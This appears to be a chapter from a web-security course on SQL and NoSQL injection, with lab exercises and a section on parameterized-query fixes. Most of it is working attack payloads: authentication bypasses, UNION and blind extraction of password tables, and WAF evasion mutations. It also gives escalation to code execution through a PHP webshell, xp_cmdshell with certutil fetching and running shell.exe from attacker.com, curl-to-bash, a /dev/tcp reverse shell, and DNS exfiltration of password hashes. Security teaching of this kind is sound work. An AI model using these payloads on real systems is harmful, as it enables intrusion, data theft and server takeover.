SQL Injection breaks the boundary between data and code. By escaping query syntax boundaries, you force the database engine to execute attacker-controlled logic — bypassing authentication, dumping tables, reading files, and in optimal conditions, gaining OS-level command execution. This chapter covers the full attack surface: every injection class, every database dialect, automation with sqlmap, and the modern NoSQL parallel.
Web applications store everything in databases: user accounts, products, orders, messages. When you log in, search, or filter data, the application builds a SQL query using your input. The vulnerability exists when that input is concatenated directly into the query string rather than being passed as a separate parameter.
The database engine receives the final string and executes it. It has no way to distinguish between the developer's intended logic and the attacker's injected logic. It executes both. This is the root cause — not insufficient filtering, not "bad characters," but the architectural failure of mixing data and code in the same string.
SQLi has appeared in the OWASP Top 10 continuously since 2003. Responsible for the Heartland Payment Systems breach (130 million cards, 2008), TalkTalk (4 million records, 2015), and thousands of others. In bug bounty, confirmed SQLi on a production database is almost always Critical severity — it gives an attacker access to the entire data layer of the application.
The developer intends to run this query, where the user's search input is safely embedded as a value:
Their code looks like this:
Vulnerable Code — Python / PHP / Node (same pattern)# Python — VULNERABLE
query = "SELECT * FROM products WHERE name = '" + user_input + "'"
// PHP — VULNERABLE
$query = "SELECT * FROM users WHERE username = '" . $_POST['user'] . "'";
// Node.js — VULNERABLE
const q = `SELECT * FROM users WHERE id = ${req.params.id}`;
When an attacker submits shoes' OR '1'='1, the concatenated string becomes:
The single quote ' terminated the developer's string literal. Everything after it is raw SQL. The OR '1'='1' condition is always true — the WHERE clause is neutralised and every row is returned. The single quote is called the break character because it breaks out of the string context.
Where your input lands in the query determines your break character and available techniques. Never assume string context — test all of them.
-- Template:
WHERE username = '[INPUT]'
-- Break char: '
-- Test: ' (causes error)
-- Test: '' (escaped — no error)
-- Template:
WHERE id = [INPUT]
-- No quotes, direct injection
-- Test: 1 AND 1=1 (true, normal)
-- Test: 1 AND 1=2 (false, diff response)
-- Template:
ORDER BY [INPUT]
-- No quotes, no UNION possible
-- CASE WHEN for blind:
ORDER BY (CASE WHEN (1=1)
THEN name ELSE price END)
-- Input sanitized on entry,
-- stored safely in DB.
-- Retrieved later and used
-- in a new query WITHOUT
-- re-sanitization. Hardest
-- to detect, hardest to fix.
| Context | Template | Break Char | Notes |
|---|---|---|---|
| String | WHERE name = '[x]' | ' | Most common. Single or double quote depending on dialect. |
| Numeric | WHERE id = [x] | None | Inject operators directly. Test: 1 AND 1=1 vs 1 AND 1=2. |
| LIKE | WHERE email LIKE '%[x]%' | ' | % and _ are wildcards here — can cause unexpected enumeration or DoS. |
| IN clause | WHERE id IN ('[x]') | ' | Try escaping the parenthesis too: ') OR 1=1 -- |
| ORDER BY | ORDER BY [x] | None | UNION doesn't work. Use conditional expressions for blind extraction. |
| Second-order | Stored then re-used | ' | Register as admin'--. Fires when username is used in a second query. |
Force the database to throw an error that leaks data in its error message. The error message itself is your exfiltration channel.
MySQL — extractvalue() error-based extraction-- The XPath function causes an error containing the value you want:
' AND extractvalue(1, concat(0x7e, (SELECT version()))) --
-- Error returned:
XPATH syntax error: '~8.0.32' ← database version leaked
-- Extract current database name:
' AND extractvalue(1, concat(0x7e, (SELECT database()))) --
-- Extract first table name:
' AND extractvalue(1, concat(0x7e,
(SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1))) --
Append a second SELECT to the original query. Your SELECT's results are returned alongside the original query's output — displayed directly in the page.
UNION Extraction — Step-by-step methodology-- STEP 1: Find column count (increment until no error)
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 -- ← error here means 2 columns
-- STEP 2: Confirm with NULL (compatible with any data type)
' UNION SELECT NULL, NULL --
-- STEP 3: Find which column is reflected in the page
' UNION SELECT 'MREGG_TEST', NULL --
' UNION SELECT NULL, 'MREGG_TEST' -- ← 'MREGG_TEST' appears on page = this col
-- STEP 4: Extract database metadata
' UNION SELECT schema_name, NULL FROM information_schema.schemata --
-- STEP 5: List tables in target database
' UNION SELECT table_name, NULL FROM information_schema.tables
WHERE table_schema = database() --
-- STEP 6: List columns in target table
' UNION SELECT column_name, NULL FROM information_schema.columns
WHERE table_name = 'users' --
-- STEP 7: Dump the data
' UNION SELECT username, password FROM users --
-- Concatenate multiple values into one column:
' UNION SELECT CONCAT(username,':',password), NULL FROM users --
No data is reflected on screen. You ask the database a yes/no question and observe whether the page response changes (different content, different length, different status code).
Boolean-Based Blind — Character extraction via binary search-- Does the database name start with 's'?
' AND SUBSTRING(database(), 1, 1) = 's' --
→ TRUE: page loads normally
→ FALSE: page shows error or empty content
-- Binary search with ASCII values (faster than alphabet guessing):
' AND ASCII(SUBSTRING(database(), 1, 1)) > 109 -- → TRUE (> 'm')
' AND ASCII(SUBSTRING(database(), 1, 1)) > 116 -- → FALSE
' AND ASCII(SUBSTRING(database(), 1, 1)) > 112 -- → TRUE
' AND ASCII(SUBSTRING(database(), 1, 1)) > 114 -- → FALSE
' AND ASCII(SUBSTRING(database(), 1, 1)) = 113 -- → wait... try 115
' AND ASCII(SUBSTRING(database(), 1, 1)) = 115 -- → TRUE → 's'
-- Repeat for each character position until full string is reconstructed
-- This is why sqlmap exists.
When boolean gives no observable signal (page response is identical regardless of true/false), use conditional time delays. Response time becomes your one-bit data channel.
Time-Based Blind — Database-specific syntax-- MySQL:
' AND IF(1=1, SLEEP(5), 0) -- ← 5s delay if condition TRUE
' AND IF(1=2, SLEEP(5), 0) -- ← instant if FALSE
-- Extract data via timing:
' AND IF(SUBSTRING(database(),1,1)='s', SLEEP(3), 0) --
-- PostgreSQL:
'; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users --
-- MSSQL:
'; IF (SELECT COUNT(*) FROM users WHERE username='admin') > 0 WAITFOR DELAY '0:0:5' --
-- Oracle:
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('RDS$',5) --
Data is exfiltrated via a completely separate channel — DNS or HTTP. Used when in-band and blind techniques produce no signal at all. Requires outbound network connectivity from the database server.
Out-of-Band — DNS exfiltration via Burp Collaborator / interactsh-- MySQL (requires FILE privilege):
' UNION SELECT LOAD_FILE(CONCAT('\\\\',
(SELECT password FROM users LIMIT 1),
'.your-collaborator-id.oastify.com\\x'
)) --
→ Target server makes DNS lookup to: [password-hash].your-collaborator-id.oastify.com
→ You capture it in Burp Collaborator client
-- MSSQL (via xp_dirtree — very reliable):
'; EXEC master..xp_dirtree '\\your-collaborator-id.oastify.com\a' --
SQL syntax differs between database engines. A payload that works on MySQL will not work on Oracle. Fingerprint the backend database first, then use the appropriate syntax.
Detect database type via syntax differences-- MySQL specific (# comment, no FROM required):
' AND 1=1 #
' AND SLEEP(0) #
-- PostgreSQL (:: cast operator):
' AND 1=1::integer --
-- MSSQL (@@variable syntax):
' AND @@version > 0 --
-- Oracle (requires FROM dual, pipes for concat):
' AND 1=1 FROM dual --
' AND 'a'||'b' = 'ab' FROM dual --
-- Version string (confirms database type):
' UNION SELECT @@version, NULL -- MySQL / MSSQL
' UNION SELECT version(), NULL -- PostgreSQL
' UNION SELECT banner, NULL FROM v$version -- Oracle
MySQL Cheatsheet-- Comments: -- comment OR # comment OR /*comment*/
-- String concat: CONCAT(a, b, c)
-- Version: @@version OR version()
-- Current database: database()
-- All databases: SELECT schema_name FROM information_schema.schemata
-- All tables: SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- All columns: SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Sleep: SLEEP(5)
-- Read file: LOAD_FILE('/etc/passwd') (requires FILE privilege)
-- Write file: SELECT '' INTO OUTFILE '/var/www/shell.php'
-- Stacked queries: YES (with ;)
-- Conditional comment:/*!UNION*/ /*!SELECT*/ (executed by MySQL, ignored by WAFs)
PostgreSQL Cheatsheet-- Comments: -- comment OR /*comment*/
-- String concat: a || b
-- Version: version()
-- Current database: current_database()
-- All databases: SELECT datname FROM pg_database
-- All tables: SELECT table_name FROM information_schema.tables WHERE table_schema='public'
-- All columns: SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Sleep: pg_sleep(5) → SELECT 1 FROM pg_sleep(5)
-- Stacked queries: YES (with ;)
-- RCE via COPY: '; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh|bash' --
-- Cast operator: 1::integer 'a'::text (useful for type confusion payloads)
MSSQL (SQL Server) Cheatsheet-- Comments: -- comment
-- String concat: a + b
-- Version: @@version
-- Current database: db_name()
-- All databases: SELECT name FROM master..sysdatabases
-- All tables: SELECT table_name FROM information_schema.tables
-- All columns: SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Sleep: WAITFOR DELAY '0:0:5'
-- Stacked queries: YES (with ;)
-- Enable xp_cmdshell:
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; --
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; --
-- RCE:
'; EXEC xp_cmdshell 'whoami' --
'; EXEC xp_cmdshell 'certutil -urlcache -f http://attacker.com/shell.exe C:\s.exe && C:\s.exe' --
Oracle Cheatsheet-- Comments: -- comment
-- String concat: a || b
-- Version: SELECT banner FROM v$version
-- Current database: SELECT global_name FROM global_name
-- All tables: SELECT table_name FROM all_tables
-- All columns: SELECT column_name FROM all_columns WHERE table_name='USERS'
-- Sleep: dbms_pipe.receive_message('x',5)
-- Stacked queries: NO (major limitation)
-- FROM dual required: SELECT 1 FROM dual (all SELECTs need FROM clause)
-- UNION syntax:
' UNION SELECT NULL FROM dual --
' UNION SELECT NULL, NULL FROM dual --
These payloads manipulate login query logic. They require zero knowledge of valid credentials — only access to the login form.
Authentication Bypass Payload Library-- Classic: comment terminates password check
Username: admin' --
Username: admin'# (MySQL # comment)
Username: admin'/*
-- Tautology: forces true condition, returns first row (usually admin)
Username: ' OR 1=1 --
Username: ' OR '1'='1
Username: ' OR 'x'='x
Username: ' OR 1=1 LIMIT 1 -- (return only first row)
-- Both fields injected:
Username: ' OR '1'='1
Password: ' OR '1'='1
-- Target specific account without knowing password:
Username: admin' AND '1'='1 (requires admin to exist)
-- Bypass MD5/hash comparison via always-true in hash column:
Username: admin
Password: ' OR 1=1 --
-- The resulting query:
SELECT * FROM users WHERE username='admin' AND password='' OR 1=1 --'
→ OR 1=1 fires regardless of password hash check → login succeeds
In MySQL, PostgreSQL, and MSSQL, information_schema is a built-in metadata database containing the structure of all other databases. It is your roadmap from initial injection to data extraction.
Full Extraction Workflow — UNION-Based-- 1. List all databases on the server:
' UNION SELECT schema_name, NULL FROM information_schema.schemata --
-- 2. List all tables in the current database:
' UNION SELECT table_name, NULL FROM information_schema.tables
WHERE table_schema = database() --
-- 3. List all columns in target table:
' UNION SELECT column_name, data_type FROM information_schema.columns
WHERE table_name = 'users' --
-- 4. Dump target data:
' UNION SELECT username, password FROM users --
-- 5. Concatenate everything into single output column:
' UNION SELECT CONCAT(id,':',username,':',password,':',email), NULL FROM users --
-- 6. Check current user privileges (can we read/write files?):
' UNION SELECT grantee, privilege_type FROM information_schema.user_privileges --
When a straightforward payload is blocked by a WAF, encoding and syntax mutation are your first tools. Never conclude a parameter is safe after a single blocked attempt.
WAF Bypass Payload Mutations-- Case variation (most WAF rules are case-sensitive):
UNION SELECT → uNiOn SeLeCt → UnIoN%20SeLeCt
-- Inline comments as whitespace (MySQL processes these):
UNION/**/SELECT/**/username,password/**/FROM/**/users--
UN/**/ION SEL/**/ECT (split keyword across comment)
-- MySQL conditional comment (executed by MySQL, ignored by WAF):
/*!UNION*/ /*!SELECT*/ username FROM users --
-- URL encoding:
'%20OR%20'1'%3D'1
%27%20OR%20%271%27%3D%271
-- Double URL encoding (bypass decode-then-check filters):
%2527 (double-encoded quote)
-- Whitespace alternatives (tab, newline, carriage return):
UNION%09SELECT%09username (%09 = tab)
UNION%0ASELECT%0Ausername (%0A = newline)
UNION%0DSELECT%0Dusername (%0D = CR)
-- Scientific notation in numeric contexts (MySQL):
1e0 UNION SELECT ... (1e0 = 1, but looks different to WAF)
-- HTTP Parameter Pollution:
?id=1&id=2 UNION SELECT...
(some WAFs check first value only; app may use last value)
-- Encoding change (from URL query to JSON body):
WAF may not parse JSON body. Switch Content-Type and move injection there.
When blocked: do not immediately change the payload. First exhaust every encoding and syntax variation of the same payload. A WAF blocking UNION SELECT may not block UNION/**/SELECT, uNiOn SeLeCt, or /*!UNION*/ /*!SELECT*/. Systematic mutation before payload replacement is the professional approach.
In specific database configurations, SQL Injection can escalate to full Remote Code Execution. This is the highest-severity outcome and must be documented carefully in reports.
MySQL — File write to webshell (requirements: FILE privilege + write access to webroot)-- Confirm FILE privilege first:
' UNION SELECT grantee, privilege_type FROM information_schema.user_privileges
WHERE privilege_type = 'FILE' --
-- Write PHP webshell to web root:
' UNION SELECT "", NULL
INTO OUTFILE '/var/www/html/shell.php' --
-- Access it:
https://target.com/shell.php?cmd=id
https://target.com/shell.php?cmd=cat /etc/passwd
MSSQL — xp_cmdshell for OS command execution-- Step 1: Enable xp_cmdshell (if disabled — requires sysadmin role):
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; --
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
-- Step 2: Execute OS commands:
'; EXEC xp_cmdshell 'whoami' --
'; EXEC xp_cmdshell 'ipconfig' --
-- Step 3: Download + execute reverse shell:
'; EXEC xp_cmdshell
'certutil -urlcache -f http://attacker.com/shell.exe C:\Windows\Temp\s.exe' --
'; EXEC xp_cmdshell 'C:\Windows\Temp\s.exe' --
PostgreSQL — COPY TO PROGRAM-- Requires superuser or pg_execute_server_program role:
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh | bash' --
-- Reverse shell one-liner:
'; COPY (SELECT '') TO PROGRAM
'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"' --
If you confirm SQLi → RCE on a bug bounty target: stop at confirmation. Do not run system commands beyond id or whoami. Do not exfiltrate data. Take a screenshot of the SQL error or the reflected injected value as proof. Demonstrating RCE capability without actually exploiting it is both ethically correct and produces a stronger, cleaner report. Programs will not pay more for you having read their database — they'll pay the same for the confirmed vulnerability class.
As applications migrated from relational databases to NoSQL databases (MongoDB, CouchDB, Redis), a parallel injection class emerged. The concept is identical — user input manipulates query logic — but the syntax is completely different.
MongoDB queries accept JSON objects with special operator keys. If user input is inserted into a query without type checking, an attacker can supply an operator object instead of a string value.
Vulnerable Node.js + MongoDB login// Vulnerable code:
db.users.find({ username: req.body.username, password: req.body.password })
// Legitimate request body:
{ "username": "admin", "password": "hunter2" }
// Injected request body ($ne = not equal):
{ "username": "admin", "password": { "$ne": "" } }
→ Finds user 'admin' where password != '' → always true → bypass
// More operators:
{ "username": { "$regex": ".*" }, "password": { "$ne": "" } } // any user
{ "username": { "$gt": "" }, "password": { "$ne": "" } } // gt empty string
{ "username": "admin", "password": { "$gt": "" } }
// $where clause injection (JavaScript execution in MongoDB < 4.4):
{ "$where": "this.password.match(/^a/)" } // does password start with 'a'?
// Iterate for every character → blind boolean enumeration
NoSQL injection via URL parameters (PHP)// Normal request:
GET /login?username=admin&password=hunter2
// Injected (PHP array notation):
GET /login?username=admin&password[$ne]=invalid
GET /login?username[$regex]=.*&password[$ne]=invalid
GET /login?username[$gt]=&password[$ne]=
To test for NoSQL injection: if the endpoint accepts JSON, try replacing a string value with {"$gt":""} or {"$ne":"x"}. If the application returns different results (especially a successful login or additional data), NoSQL injection is confirmed. Also try adding a $where key at the top level of a JSON body — if it causes an error, the MongoDB query is accepting raw operators.
sqlmap is the industry-standard open-source tool for automated SQLi detection and exploitation. Know it deeply — both for its capabilities and for its limitations.
sqlmap — Core Usage Patterns# Test a URL GET parameter:
sqlmap -u "https://target.com/product?id=5" --dbs
# Test POST body parameter:
sqlmap -u "https://target.com/login" \
--data="username=admin&password=test" \
-p username --dbs
# From Burp-saved request file (most reliable method):
# In Burp: right-click request → Save item → request.txt
sqlmap -r request.txt --dbs
# Target specific database and table:
sqlmap -r request.txt -D target_db -T users --dump
# Dump everything (use carefully — noisy):
sqlmap -r request.txt --dump-all
# Route through Burp proxy (for traffic inspection):
sqlmap -r request.txt --proxy=http://127.0.0.1:8080 --dbs
# WAF bypass with tamper scripts:
sqlmap -r request.txt \
--tamper=space2comment,between,randomcase \
--level=5 --risk=3 --dbs
# Attempt OS shell (if conditions allow — use with caution):
sqlmap -r request.txt --os-shell
# Non-interactive batch mode:
sqlmap -r request.txt --dbs --batch --random-agent
Tamper script referencespace2comment → replaces spaces with /**/ comments
between → replaces > and < with BETWEEN alternatives
randomcase → randomizes keyword casing (SeLeCt)
charencode → URL-encodes characters
charunicodeencode → Unicode-encodes characters
base64encode → base64-encodes the payload
equaltolike → replaces = with LIKE
apostrophemask → replaces ' with UTF-8 apostrophe
greatest → replaces > with GREATEST()
ifnull2ifisnull → replaces IFNULL with IF(ISNULL)
# Stack multiple tampers:
--tamper=space2comment,between,randomcase,charencode
Understanding the fix deepens your understanding of the attack and makes your bug reports more credible. Parameterized queries (prepared statements) are the only real solution.
The Fix — Parameterized Queries in 4 Languages# Python (psycopg2 / sqlite3) — SECURE
cursor.execute(
"SELECT * FROM users WHERE username = %s AND password = %s",
(username, password) ← data passed separately, never in the string
)
// PHP PDO — SECURE
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :user");
$stmt->execute(['user' => $username]);
// Java PreparedStatement — SECURE
PreparedStatement ps = conn.prepareStatement(
"SELECT * FROM users WHERE username = ?"
);
ps.setString(1, username); ← ? placeholder bound separately
// Node.js (mysql2) — SECURE
connection.execute(
"SELECT * FROM users WHERE username = ?",
[username],
(err, results) => { ... }
);
The key: the query structure is compiled first, before any data is supplied. The database receives the structure and data in separate channels. No matter what the user submits — even ' OR '1'='1 — it is treated as a literal string value, never as SQL syntax. The break character loses all meaning.
Five lab modes covering every injection class. Use the payload hint tags or write your own. The query preview updates live so you can see exactly how your input mutates the backend SQL.
category parameter. Data is reflected directly on screen. Your goal: discover the column count, then dump usernames and password hashes from a hidden secret_creds table.
db.users.find() call. Your goal: bypass authentication using MongoDB operator injection.
POST /api/login
Content-Type: application/json
{
"username": "admin",
"password": "hunter2"
}
Explain precisely why a single quote ' causes SQL injection in a string context. Why does the same character have no effect in a numeric context? What would you submit instead to test a numeric parameter?
You want to run ' UNION SELECT username, password FROM users -- but get an error. Walk through the two conditions that must be true for UNION to work, and describe the methodology you'd use to determine the correct column count and data types.
You inject ' AND SLEEP(5) -- into a parameter and the response takes 5 seconds. You then try ' AND IF(1=1,SLEEP(5),0) -- and it also delays 5 seconds. Then ' AND IF(1=2,SLEEP(5),0) -- — no delay. What does this confirm? How would you now extract the first character of the database name using this channel?
A MongoDB login endpoint accepts JSON. You send {"username":"admin","password":{"$ne":""}} and get a successful login response. Explain what the $ne operator did to the query logic, and name two other MongoDB operators you would try next to enumerate usernames.